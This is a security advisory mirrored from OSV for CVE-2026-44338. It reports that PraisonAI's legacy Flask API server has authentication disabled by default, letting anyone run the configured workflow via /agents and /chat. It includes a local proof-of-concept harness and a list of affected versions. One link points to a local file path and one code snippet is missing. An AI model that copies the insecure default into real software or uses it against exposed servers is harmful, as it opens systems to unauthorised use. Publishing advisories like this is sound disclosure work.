GHSA-6rmh-7xcm-cpxj

Suggest an improvement
Source
https://github.com/advisories/GHSA-6rmh-7xcm-cpxj
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6rmh-7xcm-cpxj/GHSA-6rmh-7xcm-cpxj.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6rmh-7xcm-cpxj
Aliases
  • CVE-2026-44338
Published
2026-05-11T13:56:16Z
Modified
2026-05-11T14:21:50.698692Z
Severity
  • 7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator
Summary
PraisonAI ships and generates a legacy API server with authentication disabled by default, allowing unauthenticated workflow execution
Details

Summary

PraisonAI ships a legacy Flask API server with authentication disabled by default. When that server is used, any caller that can reach it can access /agents and trigger the configured agents.yaml workflow through /chat without providing a token.

Details

The vulnerable server is the shipped src/praisonai/api_server.py entrypoint.

The deploy subsystem keeps the same insecure authentication default:

For scope clarity: the newer serve agents command is safer by default, because it binds to 127.0.0.1 and supports --api-key in [src/praisonai/praisonai/cli/commands/serve.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/cli/commands/serve.py:155). This report is about the shipped legacy API server and the generated/sample API deployment path above.

Version scope:

  • v2.5.6 already ships the same src/praisonai/api_server.py implementation.
  • The current PyPI release on May 1, 2026 is 4.6.33, and it still ships the same unauthenticated server logic.

PoC

The following route-level reproduction was verified locally and proves that the shipped api_server.py exposes /agents and /chat without authentication.

  1. From the repository root, create a throwaway environment with the server's direct Flask dependencies:
python3 -m venv /tmp/praisonai-ghsa-venv
/tmp/praisonai-ghsa-venv/bin/pip install flask flask-cors
  1. Execute the shipped src/praisonai/api_server.py under a minimal stub for praisonai.PraisonAI so only the server auth logic is exercised:
/tmp/praisonai-ghsa-venv/bin/python - <<'PY'
import importlib.util
import pathlib
import sys
import types

stub = types.ModuleType("praisonai")

class DummyPraisonAI:
    def __init__(self, agent_file="agents.yaml"):
        self.agent_file = agent_file
    def run(self):
        return {"ran": True, "agent_file": self.agent_file}

stub.PraisonAI = DummyPraisonAI
sys.modules["praisonai"] = stub

path = pathlib.Path("src/praisonai/api_server.py").resolve()
spec = importlib.util.spec_from_file_location("api_server_local", path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)

client = mod.app.test_client()
print(client.get("/agents").status_code, client.get("/agents").get_data(as_text=True))
print(client.post("/chat", json={"message": "hello"}).status_code, client.post("/chat", json={"message": "hello"}).get_data(as_text=True))
PY
  1. Observed result:
200 {"agent_file":"agents.yaml","agents":["default"]}
200 {"response":{"agent_file":"agents.yaml","ran":true},"status":"success"}

Both endpoints succeed without any Authorization header.

Impact

Any reachable caller can invoke the legacy API server's protected functionality without a token.

At minimum, this allows:

  • unauthenticated enumeration of the configured agent file through /agents
  • unauthenticated triggering of the locally configured agents.yaml workflow through /chat
  • repeated consumption of model/API quota and any other side effects performed by that workflow
  • exposure of whatever result PraisonAI.run() returns to the unauthenticated caller

This is not the same as arbitrary prompt injection by itself, because the current /chat handler ignores the submitted message value and simply runs the configured workflow. The impact therefore depends on what the operator's agents.yaml is allowed to do, but the authentication bypass is unconditional in the shipped legacy server.

Database specific 
{
    "github_reviewed_at": "2026-05-11T13:56:16Z",
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-1188",
        "CWE-306",
        "CWE-668"
    ],
    "nvd_published_at": "2026-05-08T14:16:46Z",
    "severity": "HIGH"
}
References

Affected packages

PyPI / praisonai

Package

Name
praisonai
View open source insights on deps.dev
Purl
pkg:pypi/praisonai

Affected ranges

Type
ECOSYSTEM
Events
Introduced
2.5.6
Fixed
4.6.34

Affected versions

2.*
2.5.6
2.5.7
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.6.6
2.6.7
2.6.8
2.7.0
2.8.3
2.8.4
2.8.5
2.8.6
2.8.7
2.8.8
2.8.9
2.9.0
2.9.1
2.9.2
3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.0.8
3.0.9
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.1.5
3.1.6
3.1.7
3.1.8
3.1.9
3.2.0
3.2.1
3.3.0
3.3.1
3.4.0
3.4.1
3.5.0
3.5.1
3.5.2
3.5.3
3.5.4
3.5.5
3.5.6
3.5.7
3.5.8
3.5.9
3.6.0
3.6.1
3.6.2
3.7.0
3.7.1
3.7.2
3.7.3
3.7.4
3.7.5
3.7.6
3.7.7
3.7.8
3.7.9
3.8.0
3.8.1
3.8.2
3.8.3
3.8.4
3.8.5
3.8.6
3.8.7
3.8.8
3.8.9
3.8.10
3.8.11
3.8.12
3.8.13
3.8.14
3.8.16
3.8.17
3.8.18
3.8.19
3.8.20
3.8.21
3.8.22
3.9.0
3.9.1
3.9.2
3.9.3
3.9.4
3.9.5
3.9.6
3.9.7
3.9.8
3.9.9
3.9.10
3.9.11
3.9.12
3.9.13
3.9.14
3.9.15
3.9.16
3.9.17
3.9.18
3.9.19
3.9.20
3.9.21
3.9.22
3.9.23
3.9.24
3.9.25
3.9.26
3.9.27
3.9.28
3.9.29
3.9.30
3.9.31
3.9.32
3.9.33
3.9.34
3.9.35
3.10.0
3.10.1
3.10.2
3.10.3
3.10.4
3.10.5
3.10.6
3.10.7
3.10.8
3.10.9
3.10.10
3.10.11
3.10.12
3.10.13
3.10.14
3.10.15
3.10.16
3.10.17
3.10.18
3.10.19
3.10.20
3.10.21
3.10.22
3.10.23
3.10.24
3.10.25
3.10.26
3.10.27
3.11.0
3.11.1
3.11.2
3.11.3
3.11.4
3.11.8
3.11.9
3.11.10
3.11.11
3.11.12
3.11.13
3.11.14
3.12.0
3.12.1
3.12.2
3.12.3
4.*
4.0.0
4.1.0
4.2.0
4.2.1
4.2.2
4.2.3
4.2.4
4.3.0
4.3.1
4.4.0
4.4.2
4.4.3
4.4.4
4.4.5
4.4.6
4.4.7
4.4.8
4.4.9
4.4.10
4.4.11
4.4.12
4.5.0
4.5.1
4.5.2
4.5.3
4.5.5
4.5.6
4.5.7
4.5.8
4.5.9
4.5.10
4.5.11
4.5.12
4.5.13
4.5.14
4.5.15
4.5.16
4.5.18
4.5.19
4.5.20
4.5.21
4.5.22
4.5.23
4.5.24
4.5.25
4.5.26
4.5.27
4.5.28
4.5.29
4.5.30
4.5.31
4.5.32
4.5.33
4.5.34
4.5.35
4.5.36
4.5.37
4.5.38
4.5.39
4.5.40
4.5.41
4.5.42
4.5.43
4.5.44
4.5.45
4.5.46
4.5.48
4.5.49
4.5.51
4.5.52
4.5.54
4.5.55
4.5.56
4.5.57
4.5.58
4.5.59
4.5.60
4.5.62
4.5.63
4.5.64
4.5.65
4.5.67
4.5.68
4.5.69
4.5.70
4.5.71
4.5.72
4.5.73
4.5.74
4.5.76
4.5.77
4.5.78
4.5.79
4.5.80
4.5.81
4.5.82
4.5.83
4.5.85
4.5.87
4.5.88
4.5.89
4.5.90
4.5.93
4.5.94
4.5.95
4.5.96
4.5.97
4.5.98
4.5.100
4.5.101
4.5.102
4.5.103
4.5.104
4.5.105
4.5.106
4.5.107
4.5.108
4.5.109
4.5.110
4.5.111
4.5.112
4.5.113
4.5.114
4.5.115
4.5.117
4.5.118
4.5.119
4.5.120
4.5.121
4.5.122
4.5.123
4.5.124
4.5.125
4.5.126
4.5.127
4.5.128
4.5.129
4.5.130
4.5.131
4.5.132
4.5.133
4.5.134
4.5.135
4.5.136
4.5.137
4.5.139
4.5.140
4.5.143
4.5.144
4.5.145
4.5.149
4.6.9
4.6.10
4.6.11
4.6.12
4.6.13
4.6.14
4.6.15
4.6.16
4.6.18
4.6.19
4.6.20
4.6.21
4.6.22
4.6.23
4.6.24
4.6.25
4.6.26
4.6.27
4.6.28
4.6.29
4.6.30
4.6.31
4.6.32
4.6.33

Database specific

last_known_affected_version_range 
"<= 4.6.33"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-6rmh-7xcm-cpxj/GHSA-6rmh-7xcm-cpxj.json"